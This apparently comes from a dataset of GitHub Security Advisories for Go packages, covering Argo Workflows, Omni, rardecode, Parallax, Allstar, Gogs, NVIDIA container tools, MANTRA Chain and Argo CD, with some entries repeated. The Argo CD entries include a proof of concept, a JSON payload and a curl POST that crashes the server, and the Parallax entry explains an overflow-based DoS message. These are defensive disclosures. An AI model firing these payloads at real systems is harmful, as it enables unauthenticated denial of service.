deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-c2hv-4pfj-mm2r
Package: github.com/argoproj/argo-workflows/v3 (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-522: Insufficiently Protected Credentials
Vulnerable versions: < 3.6.12
Patched in: 3.6.12

Summary: Argo Workflow may expose artifact repository credentials

Details:
### Summary
An attacker who has permissions to read logs from pods in a namespace with Argo Workflow can read `workflow-controller` logs and get credentials to the artifact repository.

### Details
An attacker, by reading the logs of the workflow controller pod, can access the artifact repository, and steal, delete or modify the data that resides there. The `workflow-controller` logs show the credentials in plaintext.

<img width="1366" alt="screen" src="https://github.com/user-attachments/assets/5642b2be-edcf-4050-bf47-747d05352698" />


### Impact
An attacker with access to pod logs in the `argo` namespace can extract plaintext credentials from the `workflow-controller` logs and gain access to the artifact repository. This can lead to:
- Data exfiltration – theft of sensitive or proprietary artifacts
- Data tampering – modification of workflows or artifacts
- Data destruction – deletion of stored artifacts, leading to potential loss of critical data or pipeline failure
GitHub Security Advisory: GHSA-c2hv-4pfj-mm2r
Package: github.com/argoproj/argo-workflows/v3 (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-522: Insufficiently Protected Credentials
Vulnerable versions: >= 3.7.0, < 3.7.3
Patched in: 3.7.3

Summary: Argo Workflow may expose artifact repository credentials

Details:
### Summary
An attacker who has permissions to read logs from pods in a namespace with Argo Workflow can read `workflow-controller` logs and get credentials to the artifact repository.

### Details
An attacker, by reading the logs of the workflow controller pod, can access the artifact repository, and steal, delete or modify the data that resides there. The `workflow-controller` logs show the credentials in plaintext.

<img width="1366" alt="screen" src="https://github.com/user-attachments/assets/5642b2be-edcf-4050-bf47-747d05352698" />


### Impact
An attacker with access to pod logs in the `argo` namespace can extract plaintext credentials from the `workflow-controller` logs and gain access to the artifact repository. This can lead to:
- Data exfiltration – theft of sensitive or proprietary artifacts
- Data tampering – modification of workflows or artifacts
- Data destruction – deletion of stored artifacts, leading to potential loss of critical data or pipeline failure
GitHub Security Advisory: GHSA-77r9-w39m-9xh5
Package: github.com/siderolabs/omni (GO)
Severity: HIGH (CVSS 8.6)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: <= 1.0.1
Patched in: 1.0.2

Summary: Omni vulnerable to information leak via API

Details:
### Impact

Omni might leak sensitive information via an API.

### Patches

v1.1.5, v1.0.2 and v1.2.0 contain the patch.

### Workarounds

None.

### References

None.
GitHub Security Advisory: GHSA-77r9-w39m-9xh5
Package: github.com/siderolabs/omni (GO)
Severity: HIGH (CVSS 8.6)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 1.1.0-beta.0, <= 1.1.4
Patched in: 1.1.5

Summary: Omni vulnerable to information leak via API

Details:
### Impact

Omni might leak sensitive information via an API.

### Patches

v1.1.5, v1.0.2 and v1.2.0 contain the patch.

### Workarounds

None.

### References

None.
GitHub Security Advisory: GHSA-rwvp-r38j-9rgg
Package: github.com/nwaples/rardecode/v2 (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-789: Memory Allocation with Excessive Size Value
Vulnerable versions: < 2.2.0
Patched in: 2.2.0

Summary: rardecode: DoS risk due to unrestricted RAR dictionary sizes

Details:
rardecode versions <= 2.1.1 fail to restrict the dictionary size when reading large RAR dictionary sizes, which allows an attacker to provide a specially crafted RAR file and cause Denial of Service via an Out Of Memory Crash.
GitHub Security Advisory: GHSA-xc79-566c-j4qx
Package: github.com/microstack-tech/parallax (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: < 0.1.4
Patched in: 0.1.4

Summary: Parallax is vulnerable to DoS via malicious p2p message

Details:
### Impact

A vulnerable node can be made to consume very large amounts of memory when handling specially crafted p2p messages sent from an attacker node.

In order to carry out the attack, the attacker establishes a peer connections to the victim, and sends a malicious `GetBlockHeadersRequest` message with a `count` of `0`, using the `Parallax` protocol.

In `descendants := chain.GetHeadersFrom(num+count-1, count-1)`, the value of `count-1` is passed to the function `GetHeadersFrom(number, count uint64)` as parameter `count`. Due to integer overflow, `UINT64_MAX` value is then passed as the `count` argument to function `GetHeadersFrom(number, count uint64)`. This allows an attacker to bypass `maxHeadersServe` and request all headers from the latest block back to the genesis block.

### Patches

The fix has been included in the Parallax client version `0.1.4` and onwards.

The vulnerability was patched in: https://github.com/microstack-tech/parallax/commit/f759e9090aaf00a43c616d7cbd133c44bb1ed01e

### Workarounds

No workarounds have been made public.

### Credit

This issue was disclosed responsibly by DongHan Kim via the Ethereum bug bounty program, the cooperation is appreciated.
GitHub Security Advisory: GHSA-33f4-mjch-7fpr
Package: github.com/ossf/allstar (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-798: Use of Hard-coded Credentials
Vulnerable versions: < 0.0.0[PII_REDACTED]1116-e004ecb540d6
Patched in: 0.0.0[PII_REDACTED]1116-e004ecb540d6

Summary: Allstar Reviewbot has Authentication Bypass via Hard-coded Webhook Secret

Details:
A vulnerability in Allstar’s Reviewbot component caused inbound webhook requests to be validated against a hard-coded, shared secret:

https://github.com/ossf/allstar/blob/294ae985cc2facd0918e8d820e4196021aa0b914/pkg/reviewbot/reviewbot.go#L59

The value used for the secret token was compiled into the Allstar binary and could not be configured at runtime. In practice, this meant that every deployment using Reviewbot would validate requests with the same secret unless the operator modified source code and rebuilt the component - an expectation that is not documented and is easy to miss. While Reviewbot is not commonly enabled in standard Allstar setups, we are issuing this advisory to reach any environments where it may have been deployed.

## Affected Versions

All Allstar releases prior to v4.5 that include the Reviewbot code path are affected. Deployments on v4.5 and later are not affected. If you have not enabled or exposed the Reviewbot endpoint, this issue does not apply to your installation.

## Impact

If the Reviewbot endpoint is deployed and reachable, an attacker can bypass authentication by crafting webhook requests that use the known, hard-coded secret. Because signature verification will succeed, Reviewbot would treat these requests as authentic when they should be rejected. Depending on the permissions and automations attached to your deployment, this could allow unauthorized triggering of review actions such as posting automated comments or reviews, influencing checks, or otherwise manipulating repository signals. The primary risk is to the integrity of repository workflows rather than confidentiality or availability, although secondary effects (e.g., noisy automation, misleading reviews, or workflow disruptions) are possible.

## Exploitability

Exploiting this is straightforward and does not require an attacker to be authenticated. Anyone who can send requests to the Reviewbot webhook can reach the vulnerable code.
GitHub Security Advisory: GHSA-phm4-wf3h-pc3r
Package: gogs.io/gogs (GO)
Severity: HIGH (CVSS 8.8)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 0.13.2
Patched in: 0.13.2

Summary: Remote Code Execution in Gogs

Details:
Gogs <0.13.2 is vulnerable to symbolic link path traversal that enables remote code execution via the editFilePost function of internal/route/repo/editor.go.
GitHub Security Advisory: GHSA-67jc-hmvg-q4c7
Package: github.com/NVIDIA/mig-parted (GO)
Severity: HIGH (CVSS 8.5)
CWE: CWE-59: Improper Link Resolution Before File Access ('Link Following')
Vulnerable versions: < 0.12.2
Patched in: 0.12.2

Summary: NVIDIA Container Toolkit for all platforms contains a vulnerability in the update-ldcache hook

Details:
NVIDIA Container Toolkit for all platforms contains a vulnerability in the update-ldcache hook, where an attacker could cause a link following by using a specially crafted container image. A successful exploit of this vulnerability might lead to data tampering and denial of service.
GitHub Security Advisory: GHSA-67jc-hmvg-q4c7
Package: github.com/NVIDIA/gpu-operator (GO)
Severity: HIGH (CVSS 8.5)
CWE: CWE-59: Improper Link Resolution Before File Access ('Link Following')
Vulnerable versions: < 25.3.2
Patched in: 25.3.2

Summary: NVIDIA Container Toolkit for all platforms contains a vulnerability in the update-ldcache hook

Details:
NVIDIA Container Toolkit for all platforms contains a vulnerability in the update-ldcache hook, where an attacker could cause a link following by using a specially crafted container image. A successful exploit of this vulnerability might lead to data tampering and denial of service.
GitHub Security Advisory: GHSA-67jc-hmvg-q4c7
Package: github.com/NVIDIA/k8s-device-plugin (GO)
Severity: HIGH (CVSS 8.5)
CWE: CWE-59: Improper Link Resolution Before File Access ('Link Following')
Vulnerable versions: < 0.17.3
Patched in: 0.17.3

Summary: NVIDIA Container Toolkit for all platforms contains a vulnerability in the update-ldcache hook

Details:
NVIDIA Container Toolkit for all platforms contains a vulnerability in the update-ldcache hook, where an attacker could cause a link following by using a specially crafted container image. A successful exploit of this vulnerability might lead to data tampering and denial of service.
GitHub Security Advisory: GHSA-67jc-hmvg-q4c7
Package: github.com/NVIDIA/nvidia-container-toolkit (GO)
Severity: HIGH (CVSS 8.5)
CWE: CWE-59: Improper Link Resolution Before File Access ('Link Following')
Vulnerable versions: < 1.17.8
Patched in: 1.17.8

Summary: NVIDIA Container Toolkit for all platforms contains a vulnerability in the update-ldcache hook

Details:
NVIDIA Container Toolkit for all platforms contains a vulnerability in the update-ldcache hook, where an attacker could cause a link following by using a specially crafted container image. A successful exploit of this vulnerability might lead to data tampering and denial of service.
GitHub Security Advisory: GHSA-qwvm-wqq8-8j69
Package: github.com/MANTRA-Chain/mantrachain (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 4.0.2
Patched in: unpatched

Summary: github.com/MANTRA-Chain/mantrachain/x/tokenfactory tx gas limit is not enforced in send hooks

Details:
### Impact

send hooks can spend more gas than what's remained in tx, combined with recursive calls in the wasm contract, can amplify the gas consumption exponentially.

### Patches

It's patched in v4.0.2 and v5.0.0

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
GitHub Security Advisory: GHSA-qwvm-wqq8-8j69
Package: github.com/MANTRA-Chain/mantrachain/v2 (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 4.0.2
Patched in: unpatched

Summary: github.com/MANTRA-Chain/mantrachain/x/tokenfactory tx gas limit is not enforced in send hooks

Details:
### Impact

send hooks can spend more gas than what's remained in tx, combined with recursive calls in the wasm contract, can amplify the gas consumption exponentially.

### Patches

It's patched in v4.0.2 and v5.0.0

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
GitHub Security Advisory: GHSA-qwvm-wqq8-8j69
Package: github.com/MANTRA-Chain/mantrachain/v3 (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 4.0.2
Patched in: unpatched

Summary: github.com/MANTRA-Chain/mantrachain/x/tokenfactory tx gas limit is not enforced in send hooks

Details:
### Impact

send hooks can spend more gas than what's remained in tx, combined with recursive calls in the wasm contract, can amplify the gas consumption exponentially.

### Patches

It's patched in v4.0.2 and v5.0.0

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
GitHub Security Advisory: GHSA-qwvm-wqq8-8j69
Package: github.com/MANTRA-Chain/mantrachain/v4 (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 4.0.2
Patched in: 4.0.2

Summary: github.com/MANTRA-Chain/mantrachain/x/tokenfactory tx gas limit is not enforced in send hooks

Details:
### Impact

send hooks can spend more gas than what's remained in tx, combined with recursive calls in the wasm contract, can amplify the gas consumption exponentially.

### Patches

It's patched in v4.0.2 and v5.0.0

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
GitHub Security Advisory: GHSA-gpx4-37g2-c8pv
Package: github.com/argoproj/argo-cd/v3 (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-248: Uncaught Exception, CWE-703: Improper Check or Handling of Exceptional Conditions
Vulnerable versions: >= 3.0.0-rc1, <= 3.0.18
Patched in: 3.0.19

Summary: Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook

Details:
### Summary

In the default configuration, `webhook.azuredevops.username` and `webhook.azuredevops.password` not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.

The slice index [0] is accessed without a length check, causing an index-out-of-range panic.

A single unauthenticated HTTP POST is enough to kill the process.

### Details

```go
case azuredevops.GitPushEvent:
    // util/webhook/webhook.go -- line ≈147
    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty
    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
    touchedHead     = payload.Resource.RefUpdates[0].Name ==
                      payload.Resource.Repository.DefaultBranch
```

If the attacker supplies "refUpdates": [], the slice has length 0.

The webhook code has no recover(), so the panic terminates the entire binary.

### PoC

payload-azure-empty.json:
```json
{
  "eventType": "git.push",
  "resource": {
    "refUpdates": [],
    "repository": {
      "remoteUrl": "https://example.com/dummy",
      "defaultBranch": "refs/heads/master"
    }
  }
}
```

curl call:

```shell
curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Vss-ActivityId: [PII_REDACTED]-[PII_REDACTED]' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-azure-empty.json
```

Observed crash:

```
panic: runtime error: index out of range [0] with length 0

goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
    webhook.go:147 +0x1ea5
...
```

### Mitigation

If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.

```diff
apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.azuredevops.username: <your base64-encoded secret here>
+  webhook.azuredevops.password: <your base64-encoded secret here>
```

### For more information

* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)
* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd

### Credits

Discovered by Jakub Ciolek at AlphaSense.
GitHub Security Advisory: GHSA-gpx4-37g2-c8pv
Package: github.com/argoproj/argo-cd/v3 (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-248: Uncaught Exception, CWE-703: Improper Check or Handling of Exceptional Conditions
Vulnerable versions: >= 3.1.0-rc1, <= 3.1.7
Patched in: 3.1.8

Summary: Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook

Details:
### Summary

In the default configuration, `webhook.azuredevops.username` and `webhook.azuredevops.password` not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.

The slice index [0] is accessed without a length check, causing an index-out-of-range panic.

A single unauthenticated HTTP POST is enough to kill the process.

### Details

```go
case azuredevops.GitPushEvent:
    // util/webhook/webhook.go -- line ≈147
    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty
    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
    touchedHead     = payload.Resource.RefUpdates[0].Name ==
                      payload.Resource.Repository.DefaultBranch
```

If the attacker supplies "refUpdates": [], the slice has length 0.

The webhook code has no recover(), so the panic terminates the entire binary.

### PoC

payload-azure-empty.json:
```json
{
  "eventType": "git.push",
  "resource": {
    "refUpdates": [],
    "repository": {
      "remoteUrl": "https://example.com/dummy",
      "defaultBranch": "refs/heads/master"
    }
  }
}
```

curl call:

```shell
curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Vss-ActivityId: [PII_REDACTED]-[PII_REDACTED]' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-azure-empty.json
```

Observed crash:

```
panic: runtime error: index out of range [0] with length 0

goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
    webhook.go:147 +0x1ea5
...
```

### Mitigation

If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.

```diff
apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.azuredevops.username: <your base64-encoded secret here>
+  webhook.azuredevops.password: <your base64-encoded secret here>
```

### For more information

* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)
* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd

### Credits

Discovered by Jakub Ciolek at AlphaSense.
GitHub Security Advisory: GHSA-gpx4-37g2-c8pv
Package: github.com/argoproj/argo-cd/v3 (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-248: Uncaught Exception, CWE-703: Improper Check or Handling of Exceptional Conditions
Vulnerable versions: = 3.2.0-rc1
Patched in: 3.2.0-rc2

Summary: Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook

Details:
### Summary

In the default configuration, `webhook.azuredevops.username` and `webhook.azuredevops.password` not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.

The slice index [0] is accessed without a length check, causing an index-out-of-range panic.

A single unauthenticated HTTP POST is enough to kill the process.

### Details

```go
case azuredevops.GitPushEvent:
    // util/webhook/webhook.go -- line ≈147
    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty
    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
    touchedHead     = payload.Resource.RefUpdates[0].Name ==
                      payload.Resource.Repository.DefaultBranch
```

If the attacker supplies "refUpdates": [], the slice has length 0.

The webhook code has no recover(), so the panic terminates the entire binary.

### PoC

payload-azure-empty.json:
```json
{
  "eventType": "git.push",
  "resource": {
    "refUpdates": [],
    "repository": {
      "remoteUrl": "https://example.com/dummy",
      "defaultBranch": "refs/heads/master"
    }
  }
}
```

curl call:

```shell
curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Vss-ActivityId: [PII_REDACTED]-[PII_REDACTED]' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-azure-empty.json
```

Observed crash:

```
panic: runtime error: index out of range [0] with length 0

goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
    webhook.go:147 +0x1ea5
...
```

### Mitigation

If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.

```diff
apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.azuredevops.username: <your base64-encoded secret here>
+  webhook.azuredevops.password: <your base64-encoded secret here>
```

### For more information

* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)
* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd

### Credits

Discovered by Jakub Ciolek at AlphaSense.